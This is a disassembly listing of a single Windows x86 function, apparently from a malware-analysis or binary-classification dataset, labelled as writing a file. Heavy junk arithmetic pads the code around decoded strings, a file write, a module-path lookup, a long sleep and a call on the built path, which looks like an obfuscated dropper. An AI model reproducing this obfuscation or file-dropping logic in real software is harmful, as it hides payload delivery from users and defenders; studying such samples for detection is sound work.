Function at 0x428ca2
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x620
mov esi, dword [esp + 0x634]
mov eax, dword [0x45407c]
sar eax, 2
movzx ecx, word [0x43f80a]
inc ecx
mov word [0x43f80a], cx
movsx ecx, cx
and ecx, eax
movsx eax, word [0x44393a]
xor eax, ecx
not eax
sub dword [0x44edd0], eax
and dword [0x448aa8], 0x881128
add dword [0x4581a8], 0xf04f0fa9
cmp dword [esi + 8], 0x8001
jb 0x4291c7
or word [0x43f304], 0xd14c
mov eax, dword [0x450af8]
lea ecx, [eax - 1]
mov dword [0x450af8], ecx
add eax, 0xd02694dd
or dword [0x45533c], eax
movsx eax, word [0x441970]
not eax
imul eax, eax, 0x9662c58
add eax, 0x5262133d
mov ecx, dword [0x44a3d8]
dec ecx
mov dword [0x44a3d8], ecx
imul ecx, ecx, 0x817c9c81
cmp eax, ecx
jle 0x428d6f
movsx eax, word [0x43fb60]
sar eax, 0xa
mov ecx, dword [0x449524]
dec ecx
mov dword [0x449524], ecx
xor ecx, eax
and dword [0x44ccf0], ecx
jmp 0x428d78
mov word [0x4465c0], 0xda63
add dword [0x44b994], 0x7c01c0a
lea ebp, [esp + 0x508]
push ebp
call fcn.00425655
add esp, 4
imul ecx, dword [0x456f60], 0xffbefddf
mov dword [0x456f60], ecx
lea edi, [esp + eax + 0x508]
call fcn.00422f96
and al, 3
movzx eax, al
add eax, 7
push eax
push edi
call fcn.00422e15
add esp, 8
mov ax, word [0x4402d2]
imul eax, dword [0x44eedc], 0x2182f049
mov dword [0x44eedc], eax
push 5
push 0x6d5
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4484bc]
sar eax, 5
xor eax, 0x98be93cd
sub dword [0x458090], eax
push edi
push ebp
call sub.msvcrt.dll_strcat
add esp, 8
and dword [0x44c28c], 0x10010
push 3
push 0x3b37
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, 0xe248c258
xor eax, dword [0x45103c]
and dword [0x44d1a4], eax
push edi
push 5
call fcn.0040d60f
add esp, 8
add dword [0x44eb6c], 0x4c8d9c0d
push ebx
push ebp
call sub.msvcrt.dll_fopen
add esp, 8
mov edi, eax
mov eax, 0x17ece10e
add eax, dword [0x44ac2c]
mov dword [0x452000], eax
push ebx
push 3
call fcn.0040d60f
add esp, 8
mov eax, dword [0x452d54]
lea ecx, [eax - 1]
mov dword [0x452d54], ecx
add eax, 0x27a2e56
or eax, 0xd2df
movzx ecx, word [0x440c2e]
imul ecx, eax
mov word [0x440c2e], cx
test edi, edi
je 0x429158
mov eax, dword [0x451a34]
inc eax
mov dword [0x451a34], eax
cmp eax, 0xbc92b17f
je 0x428ebe
movsx eax, word [0x442c42]
sar eax, 6
sub dword [0x451eb8], eax
movsx eax, word [0x447122]
sar eax, 5
xor eax, 0x49cb7f4c
and dword [0x4541c4], eax
mov dword [0x448a58], 0x32373f9b
mov eax, dword [0x44d454]
lea ecx, [eax - 1]
mov dword [0x44d454], ecx
imul eax, eax, 0xd4416242
xor dword [0x4534a4], eax
mov eax, dword [esi + 4]
and dword [0x448aa8], 0x881128
add dword [0x4581a8], 0xf04f0fa9
push edi
push 1
push dword [esi + 8]
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [0x44c988]
lea ecx, [eax + 1]
mov dword [0x44c988], ecx
or eax, dword [0x44e328]
or eax, 0x419acc38
mov dword [0x44e328], eax
push edi
call sub.msvcrt.dll_fclose
add esp, 4
mov dword [0x44e484], 0xed6fe5f4
mov ecx, esi
push 0
call fcn.004099bc
or dword [0x44f9a8], 0xf313d370
mov byte [esp + 0x106], 0
mov eax, dword [0x453618]
xor dword [0x45611c], eax
lea ebx, [esp + 2]
push 0x104
push ebx
push 0
call dword [0x43f13c]
add word [0x441fdc], 0xf047
mov byte [esp + 0x507], 0
add dword [0x45698c], 0x3868b526
push 0x15
push 0x7ba
call fcn.004103ea
add esp, 8
mov esi, eax
add dword [0x44d6a4], 0xb790dbc3
lea edi, [esp + 0x107]
push dword [0x458bf4]
push dword [0x458bdc]
push ebx
push esi
push edi
call sub.msvcrt.dll_sprintf
add esp, 0x14
movzx eax, word [0x442248]
dec eax
mov word [0x442248], ax
cwde
mov ecx, 0xc5df6b3b
sub ecx, eax
or dword [0x44796c], ecx
push esi
push 0x15
call fcn.0040d60f
add esp, 8
movsx eax, word [0x440b12]
sar eax, 0xa
and eax, dword [0x45434c]
and eax, 0x4faf68d0
mov dword [0x45434c], eax
push dword [0x458bf4]
call fcn.00415df3
add esp, 4
xor dword [0x458064], 0xbef6fba7
push edi
push ebp
call fcn.0042a946
add esp, 8
mov eax, dword [0x454af8]
inc eax
mov dword [0x454af8], eax
and eax, 0xd8a3d9b0
cmp eax, 0x392473fb
jl 0x429063
mov eax, dword [0x44d1b4]
mov dword [0x457bf0], 0xd7df5edb
mov dword [0x44ae0c], 0xc6ed8a2a
mov eax, dword [0x457318]
lea ecx, [eax - 1]
mov dword [0x457318], ecx
and eax, 0x4cc3aeee
add dword [0x457598], eax
xor eax, eax
mov byte [esp + eax + 0x107], 0
inc eax
cmp eax, 0x401
jne 0x429088
mov eax, dword [0x44f718]
mov ecx, 0x52ef9bf4
sub ecx, eax
mov eax, dword [0x4534c0]
not eax
cmp ecx, eax
jge 0x4290c7
inc dword [0x4536fc]
movsx eax, word [0x4473f4]
shl eax, 5
sub dword [0x454ed4], eax
jmp 0x4290d1
xor dword [0x452460], 0x2d7ff1b5
mov dword [0x44ae0c], 0xc6ed8a2a
mov eax, dword [0x457318]
lea ecx, [eax - 1]
mov dword [0x457318], ecx
and eax, 0x4cc3aeee
add dword [0x457598], eax
xor eax, eax
mov byte [esp + eax + 2], 0
inc eax
cmp eax, 0x105
jne 0x4290f6
mov ax, word [0x4414e6]
mov eax, dword [0x450170]
sar eax, 8
xor eax, 0x7a176e6e
or dword [0x44837c], eax
push 0x15f90
call dword [0x43f198]
imul ax, word [0x442d54], 0xedbd
mov word [0x442d54], ax
push ebp
call dword [0x43f0e8]
mov eax, dword [0x455a4c]
inc eax
mov dword [0x455a4c], eax
or eax, dword [0x44b330]
or eax, 0x8fd1abef
mov dword [0x44b330], eax
movsx eax, word [0x446ed2]
mov ecx, dword [0x45753c]
xor eax, ecx
inc ecx
mov dword [0x45753c], ecx
not eax
or eax, 0x34d744af
imul eax, dword [0x4513cc]
mov dword [0x4513cc], eax
mov dword [0x44ae0c], 0xc6ed8a2a
mov eax, dword [0x457318]
lea ecx, [eax - 1]
mov dword [0x457318], ecx
and eax, 0x4cc3aeee
add dword [0x457598], eax
xor eax, eax
mov byte [esp + eax + 0x508], 0
inc eax
cmp eax, 0x118
jne 0x4291a6
mov eax, dword [0x44ff88]
inc eax
mov dword [0x44ff88], eax
xor dword [0x455dd4], eax
mov eax, 0x1a26b09a
xor eax, dword [0x45087c]
cmp eax, 0xc903b301
jg 0x429212
movsx eax, word [0x444c40]
imul eax, eax, 0xdcd4df26
mov ecx, dword [0x457230]
mov edx, dword [0x44cd44]
lea esi, [edx - 1]
mov dword [0x44cd44], esi
add edx, 0xc96c6caa
and edx, ecx
cmp eax, edx
je 0x42922c
mov word [0x445db6], 0xaf51
jmp 0x42922c
imul eax, dword [0x44f18c], 0xce42dd16
or eax, dword [0x4568dc]
or eax, 0x94d8492a
mov dword [0x4568dc], eax
add esp, 0x620
pop esi
pop edi
pop ebx
pop ebp
ret